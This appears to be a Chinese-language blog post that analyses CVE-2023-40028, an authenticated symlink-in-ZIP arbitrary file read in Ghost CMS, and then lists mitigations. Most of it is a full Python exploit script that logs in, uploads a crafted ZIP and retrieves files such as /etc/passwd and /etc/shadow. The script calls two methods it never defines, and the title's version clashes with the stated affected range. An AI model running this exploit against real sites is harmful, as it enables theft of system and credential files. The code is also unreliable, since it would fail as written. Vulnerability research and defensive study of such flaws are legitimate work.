Ghost CMS 5.59.1 任意文件读取漏洞分析与利用

本文详细分析了Ghost CMS 5.59.1版本中存在的任意文件读取漏洞(CVE-2023-40028)。该漏洞允许经过身份验证的用户通过上传包含符号链接的压缩文件,读取主机操作系统上的任意文件。文章包含完整的Python利用脚本和漏洞技术细节。

Ghost CMS 5.59.1 任意文件读取漏洞

发布日期: 2025.08.28 提交者: ibrahimsql 风险等级: 中等 利用方式: 远程 CVE编号: CVE-2023-40028 CWE分类: CWE-200(信息暴露)

漏洞概述

Ghost CMS 5.59.1之前的版本存在一个安全漏洞,允许经过身份验证的用户上传包含符号链接的文件。攻击者可以利用此漏洞读取主机操作系统上的任意文件。该漏洞存在于文件上传机制中,系统未能正确验证符号链接文件,使得攻击者可以通过符号链接遍历访问目标目录结构之外的文件。

技术细节

漏洞描述

Ghost CMS 5.59.1版本的文件上传功能存在缺陷,未能有效检测和阻止用户上传包含符号链接的压缩文件。当攻击者上传一个精心构造的ZIP文件,其中包含指向敏感系统文件(如/etc/passwd/etc/shadow)的符号链接时,Ghost CMS会将这些文件解压到其内容目录中。随后,攻击者可以通过Web服务器直接访问这些符号链接,从而读取目标文件的内容。

影响版本

Ghost CMS 版本 < 5.59.1

CVSS评分

6.5(中等)

测试环境

  • Ubuntu 20.04 LTS
  • Windows 10
  • macOS Big Sur

利用脚本分析

以下Python脚本展示了如何利用此漏洞:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python3
# Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read
# Exploit Author: ibrahimsql
# CVE: CVE-2023-40028

import requests
import sys
import os
import tempfile
import zipfile
import random
import string

class GhostArbitraryFileRead:
    def __init__(self, ghost_url: str, username: str, password: str):
        self.ghost_url = ghost_url.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
        
    def authenticate(self) -> bool:
        """通过Ghost CMS管理面板进行身份验证"""
        login_data = {
            'username': self.username,
            'password': self.password
        }
        
        headers = {
            'Origin': self.ghost_url,
            'Accept-Version': 'v3.0',
            'Content-Type': 'application/json'
        }
        
        try:
            response = self.session.post(
                f"{self.api_url}/session/",
                json=login_data,
                headers=headers,
                timeout=10
            )
            return response.status_code == 201
        except requests.RequestException:
            return False
    
    def create_exploit_zip(self, target_file: str):
        """创建包含符号链接的恶意ZIP文件"""
        try:
            # 创建临时目录结构
            temp_dir = tempfile.mkdtemp()
            exploit_dir = os.path.join(temp_dir, 'exploit')
            images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
            os.makedirs(images_dir, exist_ok=True)
            
            # 生成随机图片文件名
            image_name = f"{self.generate_random_name()}.png"
            symlink_path = os.path.join(images_dir, image_name)
            
            # 创建指向目标文件的符号链接
            os.symlink(target_file, symlink_path)
            
            # 创建ZIP文件
            zip_path = os.path.join(temp_dir, 'exploit.zip')
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, dirs, files in os.walk(exploit_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        arcname = os.path.relpath(file_path, temp_dir)
                        zipf.write(file_path, arcname)
            
            return zip_path, image_name
        except Exception:
            return None, None
    
    def upload_exploit(self, zip_path: str) -> bool:
        """将恶意ZIP文件上传到Ghost CMS"""
        try:
            headers = {
                'X-Ghost-Version': '5.58',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': self.ghost_url
            }
            
            with open(zip_path, 'rb') as f:
                files = {
                    'importfile': ('exploit.zip', f, 'application/zip')
                }
                
                response = self.session.post(
                    f"{self.api_url}/db",
                    files=files,
                    headers=headers,
                    timeout=30
                )
                
                return response.status_code in [200, 201]
        except requests.RequestException:
            return False
    
    def read_file(self, target_file: str):
        """利用符号链接上传读取任意文件"""
        # 身份验证
        if not self.authenticate():
            return None
        
        # 创建恶意ZIP文件
        zip_path, image_name = self.create_exploit_zip(target_file)
        if not zip_path:
            return None
        
        try:
            # 上传ZIP文件
            if self.upload_exploit(zip_path):
                # 访问符号链接文件
                file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
                response = self.session.get(file_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    return response.text
        finally:
            # 清理临时文件
            self.cleanup_temp_files(zip_path)
        
        return None

def main():
    if len(sys.argv) != 4:
        print("用法: python3 CVE-2023-40028.py <ghost_url> <用户名> <密码>")
        return
    
    ghost_url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    exploit = GhostArbitraryFileRead(ghost_url, username, password)
    
    # 测试常见敏感文件
    test_files = [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/proc/version",
        "/var/log/ghost/ghost.log"
    ]
    
    for test_file in test_files:
        content = exploit.read_file(test_file)
        if content:
            print(f"[+] 成功读取: {test_file}")
            print(f"    内容预览: {content[:100]}...")

if __name__ == "__main__":
    main()

利用流程

  1. 身份验证: 首先使用有效的管理员凭据登录Ghost CMS
  2. 构造恶意ZIP: 创建一个包含符号链接的ZIP文件,符号链接指向目标系统文件
  3. 文件上传: 通过Ghost CMS的数据库导入功能上传ZIP文件
  4. 文件访问: 通过Web服务器直接访问上传的符号链接文件
  5. 数据读取: 获取目标文件的内容

防护措施

  1. 升级版本: 立即升级到Ghost CMS 5.59.1或更高版本
  2. 输入验证: 增强文件上传功能的输入验证,检测和阻止符号链接文件
  3. 文件权限: 确保Web服务器进程以最小权限运行
  4. 安全审计: 定期进行安全审计和漏洞扫描

注意事项

  • 该漏洞需要有效的管理员凭据才能利用
  • 利用过程可能会在目标系统上留下日志痕迹
  • 未经授权测试他人系统可能违反法律

参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计